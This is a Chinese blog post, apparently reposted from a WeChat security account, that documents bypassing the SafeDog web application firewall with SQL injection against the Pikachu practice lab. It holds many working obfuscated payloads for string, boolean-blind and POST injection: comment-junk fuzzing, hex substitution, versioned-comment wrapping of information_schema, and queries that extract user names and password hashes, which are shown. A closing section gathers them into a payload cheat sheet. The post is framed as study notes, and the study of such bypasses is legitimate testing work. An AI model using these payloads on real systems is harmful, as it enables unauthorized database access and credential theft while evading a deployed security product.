SQL注入之绕过安全狗WAF思路学习

渗透技巧 1年前 (2023) admin
664 0 0

 WAF(Web Application Firewall),网络应用防火墙,是通过一系列执行针对HTTP/HTTPS的安全策略来为web应用提供安全防护的产品。有别于传统的防火墙,WAF专门针对应用层web应用而设计,能够起到防止流量攻击、SQL注入、XSS攻击等


大部分的渗透测试培训都有一个章节就是绕过安全狗WAF,最近跟着暗月师傅的视频学习了一下SQL注入过狗,特在此对过程进行一个记录,希望能帮到同样在学习的朋友


测试环境:

pikachu靶场+WindowsServer(IIS8.5/mysql/php,网站安全狗+服务器安全狗)

为了方便fuzz,关闭了cc防护,使用burpsuite抓包进行测试



01

字符型GET注入绕过


1.1 and判断注入绕过


使用vince’ and 1=1–  是会被安全狗拦截的

SQL注入之绕过安全狗WAF思路学习

拆解payload,逐个字符串替换测试拦截

and 替换成&& vince’ && 1–  

SQL注入之绕过安全狗WAF思路学习

到这里可以猜想,waf拦截的可能是and 1/&& 1 这种搭配,换用其他数字如9

vince’ && 9–  

SQL注入之绕过安全狗WAF思路学习

一样被拦截,要想绕过对and 1 搭配的拦截,尝试将1换成其他内容,如Unicode编码

vince’ and %u0031–  

SQL注入之绕过安全狗WAF思路学习

ascii hex编码:vince’ and 0x3a–  (随便选的hex值)

SQL注入之绕过安全狗WAF思路学习

此时可以发现使用ascii hex编码不会被拦截

加上=vince’ and 0x3a=–  

SQL注入之绕过安全狗WAF思路学习

加上又被拦截,试试换用!= vince’ and 0x3a!=–  

SQL注入之绕过安全狗WAF思路学习

没有拦截但是报错了,在后面接上一个值:vince’ and 0x3a!=1–  

SQL注入之绕过安全狗WAF思路学习

成功回显,没有拦截,ascii hex值0x3a 对应的十进制数为58

尝试vince’ and 0x3a!=58– 

SQL注入之绕过安全狗WAF思路学习

返回不存在,说明存在注入,这里绕过了安全狗对于and 1=1 这种检测语句的拦截

也可以使用vince’ and 0x3a!=0x3a-  

SQL注入之绕过安全狗WAF思路学习

一样可以绕过拦截

既然编码后的ascii hex值可以绕过检测,也可以尝试对一个hex进行解码

vince’ and unhex(30)!=1–  (unhex(30)=0)

SQL注入之绕过安全狗WAF思路学习

vince’ and unhex(30)!=0– 

SQL注入之绕过安全狗WAF思路学习

综上可以猜测,安全狗对and <数字>= 这种固定搭配有拦截,绕过方法有:

  • <数字> 位换成hex值,或者调用unhex() 函数用来代替一个正常的十进制数

  • 使用!= 代替

可用的payload:

vince'+and+0x3a!=1--+/vince'+and+0x3a!=0x3a--+vince'+and+unhex(30)!=1--+/vince'+and+unhex(30)!=0--+


1.2 order by绕过


正常使用vince’ order by 2–  

SQL注入之绕过安全狗WAF思路学习

可以发现是会被安全狗拦截的

vince’ order by–  

SQL注入之绕过安全狗WAF思路学习

可以看到只使用order by 也是会被拦截

order by 拆开来逐个测试

vince’ order–  

SQL注入之绕过安全狗WAF思路学习

vince’ by–  

SQL注入之绕过安全狗WAF思路学习

可以看到单独使用order by 都不会被拦截,但是会有语法错误,可见waf是通过检测order by 的搭配来进行拦截,可以尝试使用注释来代替空格干扰对固定搭配的检测

vince’ order/**/by 1–  

SQL注入之绕过安全狗WAF思路学习

只有一个注释显然会被拦截,可以在注释里面加一些垃圾字符混淆一下,这里可以使用bp的intruder模块进行fuzz

vince’ order/*$-*/$*/by 1–  

SQL注入之绕过安全狗WAF思路学习

/**/ 中间插入4-6位*/- 的随机组合

SQL注入之绕过安全狗WAF思路学习

查看爆破的返回包可以看到有很多组合方式都可以绕过对order by 的检测

SQL注入之绕过安全狗WAF思路学习

这里列举几个可用的payload:

  • vince’+order/*/****/by+1–+ 

  • vince’+order/*//***/by+1–+ 

  • vince’+order/*/*-/*/by+1–+ 

order by 被过滤,无法猜解字段数,也可以使用into 变量名 进行代替

vince’ into @a,@b–  

SQL注入之绕过安全狗WAF思路学习

没有被拦截,返回正常,加一个字段:vince’ into @a,@b,@c–  

SQL注入之绕过安全狗WAF思路学习

根据报错可以判断这里查询的字段个数为2

综上,绕过安全狗对order by 的拦截有两种方法:

  • 使用into 变量名 代替order by 

  • order by 中间加上注释符/**/ 并且在注释符中间插入垃圾数据进行混淆

可以用的payload:

vince'+into+@a,@b--+ :测试是否是2个字段vince'+into @a,@b,@c--+ :测试是否是3个字段vince'+order/*/--/*/by+1--+vince'+order/*/*****/by+1--+vince'+order/*/*-***/by+1--+


1.3 union select绕过


测试到了存在SQL注入漏洞,接下来就要使用联合查询来获取其中的数据,最常用的语句就是union select ,而union select 通常也是waf拦截的重点对象

vince’ union–  

SQL注入之绕过安全狗WAF思路学习

vince’ select–  

SQL注入之绕过安全狗WAF思路学习

可以看到单独使用union select 都不会被waf拦截

尝试在两者之前加入含垃圾字符的内联注释(一样可以用fuzz的方法)

SQL注入之绕过安全狗WAF思路学习

可以看到有很多也是可以绕过waf的拦截

直接在后面加上数字再进行一波fuzz

SQL注入之绕过安全狗WAF思路学习 SQL注入之绕过安全狗WAF思路学习


依旧可以有很多payload绕过waf拦截

可以用的payload:

vince'+union/*//--/*/select+1,2--+vince'+union/*//--**/select+1,2--+vince'+union/*//---*/select+1,2--+vince'+union/*//--//*/select+1,2--+


1.4 获取库名/用户名绕过


直接vince’ union/*//–//*/select user(),database()–  

SQL注入之绕过安全狗WAF思路学习

被拦截了,那就先只查database()

vince’ union/*//–//*/select 1,database()–  

SQL注入之绕过安全狗WAF思路学习

一样被拦截,这里肯定是对database() 做了检测,将database() 拆开,一个字符一个字符累加进行测试

SQL注入之绕过安全狗WAF思路学习

可以看到在使用database( 时还未拦截,使用了database() 就拦截了,在括号中加入含垃圾字符的内联注释进行fuzz

SQL注入之绕过安全狗WAF思路学习 SQL注入之绕过安全狗WAF思路学习

还是有很多可以绕过waf,再将换成user() 进行同样的处理

SQL注入之绕过安全狗WAF思路学习

得到注入点的权限是myp1,不是root,数据库名为myp1

可用的payload:

vince'+union/*//--//*/select user(/*////*/),database(/*/*-*/)--+vince'+union/*//--//*/select user(/*/*-*/),database(/*/*-*/)--+vince'+union/*//--//*/select user(/*/-//*/),database(/*/*-*/)--+vince'+union/*//--//*/select user(/*//-/*/),database(/*/*-*/)--+vince'+union/*//--//*/select user(/*/*-/*/),database(/*/*-*/)--+


1.5 获取表名绕过


在前面的payload基础上构造SQL语句

999' union/*//--//*/select 1,group_concat(table_name) from information_schema.tables where table_schema=database(/*/*-*/)--
SQL注入之绕过安全狗WAF思路学习

问题就出在

select 1,group_concat(table_name) from information_schema.tables where table_schema=

中,一个字母一个字母的删除进行测试

发现在当from 后接上任意字符时就开始拦截

999' union/*//--//*/select 1,group_concat(table_name) from i--
SQL注入之绕过安全狗WAF思路学习

所以尝试在from 后面加上含有垃圾数据的注释,fuzz一波

SQL注入之绕过安全狗WAF思路学习

可以看到有很多不被拦截的语句,但是仔细观察报错的位置,我们插入的垃圾字符被识别了从而引起了报错,这样的也是不能直接用的,也就是要保证 前面不会报错

SQL注入之绕过安全狗WAF思路学习

找到正常报错的payload,选取一个往后一个个字符增加进行测试

当测试到

999' union/*//--//*/select 1,group_concat(table_name) from/*/+///*/information_schema--

时出现拦截

SQL注入之绕过安全狗WAF思路学习

考虑是检测到了information_schema ,在之间插入含垃圾字符的注释fuzz一波

SQL注入之绕过安全狗WAF思路学习 SQL注入之绕过安全狗WAF思路学习

虽然很多没有被拦截,但是和前面同理,之前不能报错,要保证information_schema 作为一个整体被SQL语句执行

SQL注入之绕过安全狗WAF思路学习

找到了前不报错的语句,但根据报错来看,应该是垃圾数据被作为空格将information_schem 隔开了

这里说明插入/*/+///*/ 的方法在这里不适作用,还有一种注释的利用方法:/*!xxxxx<要执行的语句>*/ ,在/*! 后面接5位字符也许能正常执行,将information_schema 包裹在其中进行fuzz

SQL注入之绕过安全狗WAF思路学习 SQL注入之绕过安全狗WAF思路学习

也有很多不被拦截,但是在information_schema 前报了错

SQL注入之绕过安全狗WAF思路学习

找到在information_schema 前不报错的,但根据报错信息来看貌似information_schema 未被执行而是被识别为空

这里可以在information_schema 前加一个%0a 来尝试混淆一下

SQL注入之绕过安全狗WAF思路学习 SQL注入之绕过安全狗WAF思路学习

找到一个即不会在information_schema 前面报错,又能正常执行information_schema 的payload:

999' union/*//--//*/select 1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/--

在这个基础上继续加字符进行尝试

999' union/*//--//*/select 1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables where table_schema='myp1'--
SQL注入之绕过安全狗WAF思路学习

成功得到所有表名

可用的payload:

999'+union/*//--//*/select+1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'--+


1.6 获取列名绕过


直接在获取表名的payload基础上修改

999' union/*//--//*/select 1,group_concat(column_name) from/*/+///*//*!--+/*%0ainformation_schema*/.columns where table_schema='myp1' and table_name='users'--
SQL注入之绕过安全狗WAF思路学习

还是被拦截了,问题应该是出在and table_name=’users’  这段

也是一个字符一个字符删除测试

发现到table_name= 的时候不会拦截,table_name= 后面接上字符会被拦截

SQL注入之绕过安全狗WAF思路学习

那就在table_name= ‘users’ 之间插入含垃圾数据的注释进行fuzz

SQL注入之绕过安全狗WAF思路学习 SQL注入之绕过安全狗WAF思路学习 SQL注入之绕过安全狗WAF思路学习

很多都可以绕过waf检测,查出列名

可用的payload:

999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/////*/'users'--+999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/+///*/'users'--+999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*//-//*/'users'--+999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/*-//*/'users'--+


1.7 获取数据绕过


999' union/*//--//*/select 1,group_concat(password) from/*////**/myp1.users-- 
SQL注入之绕过安全狗WAF思路学习

直接可以成功查出其中密码,那么将换成查询用户名的语句一样可行

999' union/*//--//*/select group_concat(username),group_concat(password) from/*////**/myp1.users--
SQL注入之绕过安全狗WAF思路学习


得到数据库中的用户名和密码

admin:e10adc3949ba59abbe56e057f20f883epikachu:670b14728ad9902aecba32e22fa4f6bdtest:e99a18c428cb38d5f260853678922e03

可用的payload:

999'+union/*//--//*/select+group_concat(username),group_concat(password)+from/*////**/myp1.users--+




02


布尔型GET盲注绕过


2.1 and判断注入绕过


可以继续使用上面的and判断绕过的payload

vince’ and 0x3a!=1–  

SQL注入之绕过安全狗WAF思路学习

vince’ and 0x3a!=0x3a–  

SQL注入之绕过安全狗WAF思路学习


2.2 order by绕过


也可以沿用前面的payload

vince’ order/*/****/by 2–  

SQL注入之绕过安全狗WAF思路学习

vince’ order/*/****/by 3–  

SQL注入之绕过安全狗WAF思路学习


2.3 获取库名/用户绕过


在盲注中我们可以不使用union select 

选择使用payload:vince’ and substr(database(),1,1)=’a’–  

SQL注入之绕过安全狗WAF思路学习

被拦截,经过前面的测试,不难得到,在可能被过滤的组合中间加上类似/*//–//*/ 的字符大概率能绕过拦截,所以直接在payload中可能被拦截的地方加上/*//–//*/ 

vince'/*//--//*/and/*//--//*/substr(/*//--//*/database(/*//--//*/),1,1)/*//--//*/='a'--

SQL注入之绕过安全狗WAF思路学习

没有被拦截,直接放到intruder模块批量测试,设置俩payload,选择cluster bomb模式

SQL注入之绕过安全狗WAF思路学习

因为已知库名为myp1,就不浪费时间了,payload范围精简

SQL注入之绕过安全狗WAF思路学习SQL注入之绕过安全狗WAF思路学习

批量测试

SQL注入之绕过安全狗WAF思路学习

得到库名myp1

绕过方法:往可能拦截的地方加/*</*-随机搭配>*/ 即可

可用的payload:

vince'/*//--//*/and/*//--//*/substr(/*//--//*/database(/*//--//*/),1,1)/*//--//*/='a'--+配合bp的intruder模块批量测试


2.4 获取表名绕过


在获取库名的payload的基础上,将查询库名的语句替换成前面字符型get注入中能够成功查到表名的payload中的相关语句

vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'),1,1)/*//--//*/='a'-- 

SQL注入之绕过安全狗WAF思路学习

无拦截,一波批量测试

SQL注入之绕过安全狗WAF思路学习

前面字符型get注入已经得到表httpinfo,member,message,users,xssblind,为了节省时间,payload范围尽量精简

SQL注入之绕过安全狗WAF思路学习

SQL注入之绕过安全狗WAF思路学习

为了方便对数据包进行排序,更直观的看到结果,设置一下追踪回显的关键词

SQL注入之绕过安全狗WAF思路学习

SQL注入之绕过安全狗WAF思路学习

通过批量测试得到所有表名

可用的payload:

vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'),1,1)/*//--//*/='a'--+


2.5 获取列名绕过


依旧是在获取库名的payload的基础上,将查询库名的语句替换成前面字符型get注入中能够成功查到列名的payload中的相关语句

vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select group_concat(column_name) from/*/+///*//*!--+/*%0ainformation_schema*/.columns where table_schema='myp1' and+table_name=/*/////*/'users'),1,1)/*//--//*/='a'--

SQL注入之绕过安全狗WAF思路学习

无拦截,直接批量

SQL注入之绕过安全狗WAF思路学习

前面查出列名id,username,password,level,省时间,精简payload范围

SQL注入之绕过安全狗WAF思路学习

SQL注入之绕过安全狗WAF思路学习

设置一个flag标志

SQL注入之绕过安全狗WAF思路学习

SQL注入之绕过安全狗WAF思路学习

得到users表中的所有列名

可用的payload:

vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/////*/'users'),1,1)/*//--//*/='a'--+


2.6 获取数据绕过


获取数据可以在前面获取列名和表名的payload

vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(column_name) from/*////**/information_schema.columns where table_schema=database(/*/*-*/) and table_name/*/-/**/='users'),1,1)/*//--//*/='a'--

的基础上将

group_concat(column_name) from/*////**/information_schema.columns where table_schema=database(/*/*-*/) and table_name/*/-/**/='users'

换成前面能够使用的获取数据的payload中的

group_concat(usernaem) from/*////**/myp1.user


vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(username) from/*////**/myp1.users),1,1)/*//--//*/='a'--

抓包进行批量测试

SQL注入之绕过安全狗WAF思路学习

SQL注入之绕过安全狗WAF思路学习

SQL注入之绕过安全狗WAF思路学习

SQL注入之绕过安全狗WAF思路学习

得到用户名有admin,pikachu,test

得到密码的payload:

vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(password) from/*////**/myp1.users),1,1)/*//--//*/='a'--

可用的payload:

用户名:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(username)+from/*////**/myp1.users),1,1)/*//--//*/='a'--+密码:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(password)+from/*////**/myp1.users),1,1)/*//--//*/='a'--+以上payload配合fuzz使用


03


数字型POST注入绕过


3.1 and判断注入绕过


1 and 1=1 

SQL注入之绕过安全狗WAF思路学习

1 and 1=2 

SQL注入之绕过安全狗WAF思路学习

均无拦截,正常的payload可用


3.2 order by绕过


1 order by 2 

SQL注入之绕过安全狗WAF思路学习

1 order by 3 

SQL注入之绕过安全狗WAF思路学习

均无拦截,正常payload可用,看来安全狗对于post方式的注入拦截并没有get强


3.3 union select绕过


1 union select 1,2 

SQL注入之绕过安全狗WAF思路学习

union select 无拦截


3.4 获取库名/用户绕过


-1 union select 1,database() 

SQL注入之绕过安全狗WAF思路学习

开始拦截,说明检测了database() 

-1 union select 1,database( 

SQL注入之绕过安全狗WAF思路学习

说明是将database() 加入了黑名单,加入get型绕过的干扰字符

-1 union select 1,database(/*//–//*/) 

SQL注入之绕过安全狗WAF思路学习

成功绕过

user() 也是一样的处理

-1 union select 1,user(/*//–//*/) 

SQL注入之绕过安全狗WAF思路学习

可用的payload:

-1+union+select+1,database(/*//--//*/):库名-1+union+select+1,user(/*//--//*/):用户名


3.5 获取表名绕过


-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='myp1'
SQL注入之绕过安全狗WAF思路学习

使用正常的payload直接查出所有表名,无拦截


3.6 获取列名绕过


-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='myp1' and table_name='users'

SQL注入之绕过安全狗WAF思路学习

依旧不拦截


3.7 获取数据绕过


-1 union select 1,group_concat(username) from myp1.users

SQL注入之绕过安全狗WAF思路学习

不拦截

-1 union select 1,group_concat(password) from myp1.users

SQL注入之绕过安全狗WAF思路学习

得到用户名和密码


04


总结

4.1 绕过方法

不知道是不是我安全狗设置的原因,POST方法可以说几乎无拦截,而GET方法相对拦截得就猛得多

and判断注入主要方法是:

  • <数字> 位换成hex值,或者调用unhex() 函数用来代替一个正常的十进制数

  • 使用!= 代替

order by的绕过主要方法是:

  • 使用into 变量名 代替order by 

  • order by 中间加上注释符/**/ 并且在注释符中间插入垃圾数据进行混淆

获取库名、表名、列名等敏感信息绕过主要方法是:

  • 在被拦截的固定单词搭配之间,如union select 之间用带有垃圾数据的/**/ 注释进行fuzz来干扰waf对两者之间的空格的判断,从而让waf无法断定它们是搭配到一起的

  • user() database() 这样的关键的函数被拦截,主要是在字母与符号搭配或者() 闭合的时候拦截,也可以尝试在中间用带有垃圾数据的/**/ 注释进行干扰

  • 对于information_schema 这种连着的单词搭配来说,使用带有垃圾数据的/**/ 注释会导致语法错误,因为加入的东西会被识别成空格,一般用/*!xxxxx%0a*/ 包裹整个单词进行fuzz测试


4.2 payload总结

字符型GET注入

and判断注入:vince'+and+0x3a!=1--+/vince'+and+0x3a!=0x3a--+vince'+and+unhex(30)!=1--+/vince'+and+unhex(30)!=0--+
order by判断字段数:vince'+into+@a,@b--+ :测试是否是2个字段vince'+into @a,@b,@c--+ :测试是否是3个字段vince'+order/*/--/*/by+1--+vince'+order/*/*****/by+1--+vince'+order/*/*-***/by+1--+
获取库名/用户:vince'+union/*//--//*/select+user(/*////*/),database(/*/*-*/)--+vince'+union/*//--//*/select+user(/*/*-*/),database(/*/*-*/)--+vince'+union/*//--//*/select+user(/*/-//*/),database(/*/*-*/)--+vince'+union/*//--//*/select+user(/*//-/*/),database(/*/*-*/)--+vince'+union/*//--//*/select+user(/*/*-/*/),database(/*/*-*/)--+
获取表名:999'+union/*//--//*/select+1,group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'--+
获取列名:999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/////*/'users'--+999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/+///*/'users'--+999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*//-//*/'users'--+999'+union/*//--//*/select+1,group_concat(column_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.columns+where+table_schema='myp1'+and+table_name=/*/*-//*/'users'--+
获取数据:999'+union/*//--//*/select+group_concat(username),group_concat(password)+from/*////**/myp1.users--+

布尔型GET注入

and判断注入:vince'+and+0x3a!=1--+/vince'+and+0x3a!=0x3a--+vince'+and+unhex(30)!=1--+/vince'+and+unhex(30)!=0--+
order by判断字段数:vince'+into+@a,@b--+ :测试是否是2个字段vince'+into @a,@b,@c--+ :测试是否是3个字段vince'+order/*/--/*/by+1--+● vince'+order/*/*****/by+1--+vince'+order/*/*-***/by+1--+
获取库名/用户:vince'/*//--//*/and/*//--//*/substr(/*//--//*/database(/*//--//*/),1,1)/*//--//*/='a'--+配合bp的intruder模块或脚本批量测试
获取表名:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select+group_concat(table_name)+from/*/+///*//*!--+/*%0ainformation_schema*/.tables+where+table_schema='myp1'),1,1)/*//--//*/='a'--+
获取数据:用户名:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(username) from/*////**/myp1.users),1,1)/*//--//*/='a'--+密码:vince'/*//--//*/and/*//--//*/substr(/*//--//*/(select/*//--//*/group_concat(password) from/*////**/myp1.users),1,1)/*//--//*/='a'--+
以上payload配合bp或脚本批量测试使用

数字型POST注入

复用get注入payload一般都可以绕过拦截



个人思路仅供参考学习,大佬勿喷,觉得有用的,喜欢的还请多多点赞收藏转发



❤️持续更新学习笔记❤️

❤️您的关注就是对我最大的支持❤️


原文始发于微信公众号(XiAnG学安全):SQL注入之绕过安全狗WAF思路学习

版权声明:admin 发表于 2023年1月16日 上午9:24。
转载请注明:SQL注入之绕过安全狗WAF思路学习 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...